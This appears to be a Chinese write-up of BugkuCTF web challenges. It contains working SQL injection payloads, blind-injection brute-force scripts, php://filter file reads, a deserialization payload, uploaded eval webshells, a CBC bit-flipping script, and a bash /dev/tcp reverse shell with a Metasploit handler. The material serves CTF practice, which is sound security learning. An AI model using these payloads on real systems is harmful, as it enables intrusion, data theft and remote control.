BugkuCTF(web wp)
web2
源码就有flag
文件上传测试
服务器挂了兼忘了当初怎么做了(捂脸
计算器
这题是要你计算一个数学公式的答案,但是发现只能输一个数字,改下maxlength,然后就能输入就有flag了
web基础$_GET
这题其实考get方法传参,get方法发个flag,payload:?what=flag
web基础$_POST
post方法传参
矛盾
这题要传一个num,不能是数字,但是又要等于1,用科学计数法绕过
web3
这题进去疯狂弹窗,关了弹窗看源码有段这个东西
KEY{J2sa42ahJK-HS11III}
unicode解码得到 KEY{J2sa42ahJK-HS11III}
sql注入
挂了.........
域名解析
它要一个IP对应一个固定域名,windows下打开C:\Windows\System32\drivers\etc\hosts
修改如图
然后访问flag.bugku.com就有flag了
SQL注入1
挂了.........
你必须让他停下
这题进去页面就疯狂跳转,抓下包就能看到flag了
本地包含
eval函数可以执行字符串,直接闭合括号输出文件就行了
变量1
反正flag在一个变量里,那就用超全局变量输出所有变量
web5
源码看到有jsfuck编码,解码看看
头等舱
头等舱联想到请求头或者响应头,抓包看下
网站被黑
大概翻了翻,什么也没找到,祭出我的御剑扫扫扫,看到一个shell.php登进去看下,叫你输密码
随便试了几个都不行,用burp**一下
web4
源码看到有段url加密的字符串,解密得到
var p1 = 'function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b';var p2 = 'aa648cf6e87a7114f1"==a.value)
return!0;alert("Error");
a.focus();return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1)+unescape('54aa2'+p2));
eval函数执行的是p1+54aa2+p2的值,直接输过去67d709b2b54aa2aa648cf6e87a7114f1就有flag了
flag在index里
click me?跳转以后看到url变成file=show.php,嗅到了伪协议的气息,试下file=php://input,发现触发waf
emmm,php://filter利用
?file=php://filter/read/convert.base64-encode/resource=index.php
拿到源码base64解密后得到
输入密码查看flag
依旧是burp跑出来
点击一万次
js源码可以看到,当clicks>=1000000时才有flag,但是是不可能点一万次的,直接post参数clicks=10000000过去就有flag了
备份是个好习惯
题目说到备份,应该会有源码泄露,扫一扫
把它下下来看到
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
emmm,经典的绕过了,这里源码有个坑就是虽然要传参,名称是key,但是如果后台检测到key的话就会删去,加多个就行了
成绩单
这题很明显是sql注入,输入1,2,3的话正常回显,输入1'的话回显不正常,然后1' or 1#又能正常回显,确定注入点就能进行注入了
先试下id=-1' union select 1,2,3,4# 发现又回显,而且是1,2,3,4,好了,进行注入
数据库 id=-1' union select database(),2,3,4 # 回显skctf_flag
数据表 id=-1' union select table_name,2,3,4 from information_schema.tables where table_schema="skctf_flag" limit 0,1# 回显fl4g
字段 id=-1' union select column_name,2,3,4 from information_schema.columns where table_name="fl4g" limit 0,1# 回显skctf_flag
值 id=-1' union select skctf_flag,2,3,4 from fl4g limit 0,1#
秋名山老司机
两秒算出一堆巨长的数是不可能的了,只能借助脚本的力量了
#coding:utf-8
import requests
import re
url = "http://120.24.86.145:8002/qiumingshan/"
res = requests.session()
s = res.get(url).text
num = re.search(r'(\d+[+\-*])+(\d+)',s).group()
result = eval(num)
data = {'value':result}
print(res.post(url=url,data=data).text)
然后就能看到了
速度要快
一看就是脚本题
import requests
import base64
url='http://120.24.86.145:8002/web6/'
s=requests.Session()
result = s.get(url).headers['flag']
result = result.encode()
flag = base64.b64decode(result)
flag = flag.decode()
flag = flag.split(':')[1]
flag = base64.b64decode(flag)
data = {'margin' : flag}
r = s.post(url,data=data)
print (r.content)
cookies欺诈
这题url看起来像base64,解密得到keys.txt,尝试下将index.php进行base64解密发过去,emmm,什么都没有
看到有个line参数,写个1,发现有回显,试多个2,原来是显示第几行源码
用个脚本看下源码
#coding:utf-8
import requests
import base64
line = 0
while line<1000:
url = "http://120.24.86.145:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw"%line
res = requests.get(url=url)
print(res.text)
try:
res.text.index("?>")
except ValueError:
line += 1
continue
break
index.php的源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
可以看见,如果filename是keys.php而且cookie有个margin值,就有flag
抓包发一下
XSS
挂了......
never give up
这题源码提示1p.html,view-source可以看到一串奇怪的东西
url解密,base64解密,再url解密就有
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
剩下的就是绕过了(这个绕过好熟啊,以前好像做过
welcome to bugkuctf
源码可以看到
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
利用两个协议读取文件
解密看到
hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
再看下index.php
index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
既然有个反序列化漏洞,利用一下,写个脚本输出一下序列化后的 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后就是传值拿flag了
过狗一句话
提示有
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
有个assert函数,尝试下扫描目录
看一下f94lag.txt
字符?正则?
源码看到
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
剩下的就是匹配就行
前女友
链接点进去看到
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
md5和strcmp函数漏洞利用
?v1=QNKCDZO&v2=s878926199a&v3[]=flag
login1
这题提示了是sql约束攻击,我们要伪造一个admin的身份,首先先注册一个账号,username是admin加很多个空格再加个1,为了让他通过匹配,达到越权,密码自己定
然后登录就有flag了
这里解释一下约束的SQL攻击,假设查询语句是select * from users where username=$username
如果我们注册了一个账号admin 1(空白是空格),密码是123,真正的管理员账号是admin,密码不知
进行查询的时候就会先对我们注册的账号进行截断,变成admin ,而管理员的账号会补全空格到相同长度,然后就都查出来了
加入后台语句是select * from users where username=$username and password=$password的话,虽然返回的是我们的信息,身份确实管理员的身份,就能水平越权了
你从哪里来
改下referer就有flag了
flag{bug-ku_ai_admin}
md5 collision
这题进去只看到要输入一个a,没有其他提示,随便输个字符发现回显false!!!
试下是不是0e漏洞,emmm,果然是.............
程序员本地网站
要求从本地登录,抓包改下
flag{loc-al-h-o-st1}
flag get√
各种绕过
源码
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
这题主要是看清楚是post还是get方法(一开始我就以为全是get,捂脸),还有一个sha1漏洞,数组就能绕过
sha1只解析字符串,遇到数组就会解析为null,刚好两个相等
flag{HACK_45hhs_213sDD}
flag get√
web8
源码
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
ac跟fn要一样,有个file_get_contents函数,所以可以用php://input去进行赋值输入我们定义的字符,让ac跟他一样
flag{3cfb7a90fc0de31}
flag get√
细心
这题进去看到一个很假的404
确实是假的,状态码还是200.........
翻了翻,没找到什么,看下robots.txt
访问一下
emmm,改ip?x参数绕过?
试了一波,传个x=admin就行了...........
求getshell
这题是个文件上传,应该是要求传个马
尝试了改content-type,加后缀,截断,大小写绕过都不行,最后发现php5可以通过
但是multipart/form-data要改下大小写,绕过walf严格匹配
payload
flag get√
INSERT INTO注入
源码
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
这题可以看到X-Forwarded-For可以进行修改,所以找**入点在哪里,最后发现可以进行时间盲注
用脚本(手动滑稽
#-*-coding:utf-8-*-
#暴力数据库
import requests
import string
url = "http://120.24.86.145:8002/web15/"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
database = []
print('start.')
for database_number in range(0,100): #**前100个库
database_name =''
for i in range(1,100): #字符串长度最多为100
flag = 0
for str in guess: #**该位置的字符
headers = {
"X-Forwarded-For":"'+"+"(select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)
}
try:
res = requests.get(url,headers=headers,timeout=4)
except:
database_name+=str
flag = 1
print('scaning no.%d database.'%(database_number+1),database_name)
break
if flag==0:
break
database.append(database_name)
if i==1 and flag==0:
print('finished.')
break
for i in range(len(database)):
print(database[i])
然后就是表,脚本不贴了,差不多的
字段
值
这是一个神奇的登录框
报错注入,在username后面加双引号可以看到
admin_name=admin" or 1#&admin_passwd=123&submit=GO+GO+GO
数据库admin_name=admin" union select database(),2#&admin_passwd=123&submit=GO+GO+GO
数据表admin_name=-1" union select table_name,2 from information_schema.tables where table_schema='bugkusql1'#&admin_passwd=123&submit=GO+GO+GO
字段admin_name=-1" union select column_name,2 from information_schema.columns where table_name='flag1'#&admin_passwd=123&submit=GO+GO+GO
值admin_name=-1" union select flag1,2 from flag1#&admin_passwd=123&submit=GO+GO+GO
flag get√
多次
这题我好多flag啊........
首先页面是有回显的注入,过程如下
数据库
?id=-1%27ununionion seselectlect 1,database()%23
回显web1002-1
数据表
?id=-1%27ununionion seselectlect 1,(seselectlect table_name from infoorrmation_schema.tables where table_schema="web1002-1" limit 0,1)%23
回显flag1
?id=-1%27ununionion seselectlect 1,(seselectlect table_name from infoorrmation_schema.tables where table_schema="web1002-1" limit 1,1)%23
回显hint
flag1字段
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="flag1" limit 0,1)%23
回显flag1
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="flag1" limit 1,1)%23
回显address
hint字段
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="hint" limit 0,1)%23
回显id
?id=-1%27ununionion seselectlect 1,(seselectlect column_name from infoorrmation_schema.columns where table_name="hint" limit 1,1)%23
回显contents
值
flag1
?id=-1%27ununionion seselectlect 1,(seselectlect flag1 from flag1)%23
回显usOwycTju+FTUUzXosjr
?id=-1%27ununionion seselectlect 1,(seselectlect address from flag1)%23
回显./Once_More.php
然后就看到有另一个链接
又是sql注入,id=1'时会报错
?id=1' or 1%23 正常回显
?id=1' order by 2%23 这样可以确定有两列
?id=1' and length(database())=9%23 确定数据库长度为9
而且我们可以看到我们的注入语句,所以可以知道过滤了什么
没有回显,只能盲注,接下来是脚本
#数据库
import requests
url = "http://120.24.86.145:9004/Once_More.php"
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"
# guess = "w"
char = "Hello,I Am Here!"
database=""
print("start!")
for i in range(1,10):
for j in guess:
payload = {'id':"1' and mid((select database()),%s,1)='%s'#"%(i,j)}
res = requests.get(url=url,params=payload).text
# print(res)
if char in res:
database += j
print(database)
break
print("end!")
#数据表
import requests
url = "http://120.24.86.145:9004/Once_More.php"
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"
# guess = "w"
char = "Hello,I Am Here!"
print("start!")
for i in range(1,10):
print(i)
table = ""
for j in range(1,20):
for k in guess:
payload = {'id':"1' and mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}
res = requests.get(url=url,params=payload).text
# print(res)
if char in res:
table += k
print("the %s table %s"%(i,table))
break
print("end!")
#字段
import requests
url = "http://120.24.86.145:9004/Once_More.php"
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_"
# guess = "w"
char = "Hello,I Am Here!"
print("start!")
for i in range(1,10):
print(i)
column = ""
for j in range(1,20):
for k in guess:
payload = {'id':"1' and mid((select column_name from information_schema.columns where table_schema=database() limit %s,1),%s,1)='%s'#"%(i,j,k)}
res = requests.get(url=url,params=payload).text
# print(res)
if char in res:
column += k
print("the %s column %s"%(i,column))
break
print("end!")
#值
import requests
url = "http://120.24.86.145:9004/Once_More.php"
guess = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456_{}@~,.;:/'\*-+"
char = "Hello,I Am Here!"
print("start!")
flag = ""
for i in range(1,30):
for j in guess:
# payload = {'id':"1' and mid((select flag2 from flag2 ),%s,1)='%s'#"%(i,j)}
payload = {'id': "1' and mid((select user()),%s,1)='%s'#" % (i, j)} #这个是大佬说的正确的flag
res = requests.get(url=url,params=payload).text
if char in res:
flag += j
print(flag)
break
print(flag)
print("end!")
但是不知道为什么,都说不对,一脸懵逼
PHP_encrypt_1
感觉像是逆向题............这题给了个加密脚本,也给了加密后的字符串,对着写出解密脚本就可以了
这里挂个大佬的博客,肉鸡太弱,逆不出来
https://blog.csdn.net/qq_19861715/article/details/79385075
文件包含2
这题进去网页有个file=hello.php的参数,源码看到有upload.php,访问看到要求传图片
尝试了各种绕过,发现文件后缀改成php;.jpg可以上传php
这里有个waf就是检测到<?php 和?>的话就会被过滤掉,所以一句话要变下形<?=eval($_POST['chopper']);
成功上传后用菜刀去连,这里因为不是正常的jpg文件,所以直接访问只是返回空页面的
看一下名字贼长的txt
flag.php
这题访问一下?hint=1看到源码
可以看到会从cookie拿ISecret,然后就去比对$KEY,这里有个坑就是下面给了$KEY的值,但是其实上面的代码还没定义,所以这个时候$KEY是等于空字符串的,剩下的就是定义一个空字符串序列化一下然后抓包发过去
然后就有flag了
sql注入2
这题扫下泄露发现有DS泄露
访问一下flag,发现有个东西被下载下来,打开看到flag
孙xx的博客
做到一半突然服务器爆炸??orz
好吧,这题后台应该已经挂了...........连phpmyadmin都找不到............
报错注入
又是一题挂了......
trim的日记本
这题讲道理应该是二阶注入,这里给个错误示范
扫下后台看到有个show.php,打开看下就有flag了
login2
题目说了是union和命令执行,试了很久union没有回显,最后匹配密码
看到这个进程监控系统,就能进行命令执行了,不过这个后台挂了无法弹shell
这题有两个办法
第一种利用bash命令在本地进行nc监听查看回连日志
在vps进行nc监听(这个好像要求要装php???)
nc -l -p 8080 -vvv
然后在网页命令执行处输入
|bash -i >& /dev/tcp/(vps的公网ip)/8080 0>&1
然后就能弹shell了
第二种msf反向回连
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然后还是在命令执行处输入
|bash -i >& /dev/tcp/(vps的公网ip)/8080 0>&1
最后通过sessions -l去看flag
login3
题目提示了是布尔盲注,首先fuzz一下可以看到过滤了空格,逗号,等号,and,还有information也被禁了
所以最后只能猜表名,因为上面那么多被禁了,所以用异或去进行注入,等号用<>绕过
猜测是admin表
import requests
guess = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url = "http://118.89.219.210:49167/"
database=""
for i in range(0,35):
for j in guess:
# uname = "admin'^(ascii(mid(database()from(%i)))<>%s)^0#"%(i,ord(j))
uname = "admin'^(ascii(mid((select(password)from(admin))from(%i)))<>%s)^0#"%(i,ord(j))
data = {
"username":uname,
"password":"123"
}
res = requests.post(url=url,data=data).text
if "password error" in res:
database += j
print(database)
break
最后拿到密码是51b7a76d51e70b419f60d3473fb6f900,解密出来是skctf123456,然后登录就有flag了
文件上传2
这题改下content-type可以上传文件,然后就没了???
试下文件包含?op=php://filter/read=convert.base64-encode/resource=flag
读出了一段base64,解密就有flag了,emmm,有丶东西
login4
这题任意用户名与密码任意输入可以看到都能登进去,页面显示only admin can see flag
然后抓包看到有iv和cipher,大胆猜测是cbc翻转攻击相关的
不懂cbc的可以看看原理先
https://blog.csdn.net/xiaorouji/article/details/82777482
扫下泄露看见有.swp泄露
恢复看一下
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$(".username").focus(function() {
$(".user-icon").css("left","-48px");
});
$(".username").blur(function() {
$(".user-icon").css("left","0px");
});
$(".password").focus(function() {
$(".pass-icon").css("left","-48px");
});
$(".password").blur(function() {
$(".pass-icon").css("left","0px");
});
});
</script>
</head>
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>
iv是随机产生的16位的字符串,cipher是由username、password、iv和秘钥加密而来的
首次登录会在cookie设下iv和cipher,后面的登录就会验证这两个值,如果最后cipher解密出来是admin的话,那就登录成功且允许拿到flag
先用zdmin去登录,拿到一个iv和cipher值
由cbc的原理可以知道,每一块明文加密的过程只影响后面的密码,每一块密文也是由前一块的密文去影响
用个脚本改一下cipher
# coding:utf-8
import base64
import requests
import urllib
iv_raw='%2By2MSvOua2ocXI4a0c7QWQ%3D%3D'
cipher_raw='BMGwiVOEpC%2B7%2FANxHric43UqUxfib9ROTEqM9E1kxrJOv1QQRpdJJABPLU2iN2luDlRxgZXTjiP8uMq2cnHgTA%3D%3D'
print("[*]原始iv和cipher")
print("iv: %s"%iv_raw)
print("cipher: %s"%cipher_raw)
print("解密中......")
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:3:"123"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"123";}
xor_cipher = str(cipher[0:9]) + chr(ord(cipher[9])^ord('z')^ord('a'))+str(cipher[10:])
xor_cipher = urllib.quote(base64.b64encode(xor_cipher))
print("反转后的cipher: %s"%xor_cipher)
得到cipher的值
这时我们用这个cipher去抓包改包一下,可以看到它返回无法序列化
这是因为我们修改z变成a的时候,是对第一块的密文进行了修改的,而第一块的密文是跟iv有关的,所以我们还要修复回iv才能正确解密
#coding:utf-8
import base64
import urllib
cipher = 'hu6DuRSBQb3l829IsYweDW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ=='
iv = '%2By2MSvOua2ocXI4a0c7QWQ%3D%3D'
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
new_iv = ''
right = 'a:2:{s:8:"userna'
for i in range(16):
new_iv += chr(ord(right[i])^ord(iv[i])^ord(cipher[i]))
print(urllib.quote(base64.b64encode(new_iv)))
这里想到于将iv不匹配的地方修改过来,然后再进行抓包与改包,就有flag了
好了,到了这里终于把基础勉勉强强算是做过去了...........
推荐阅读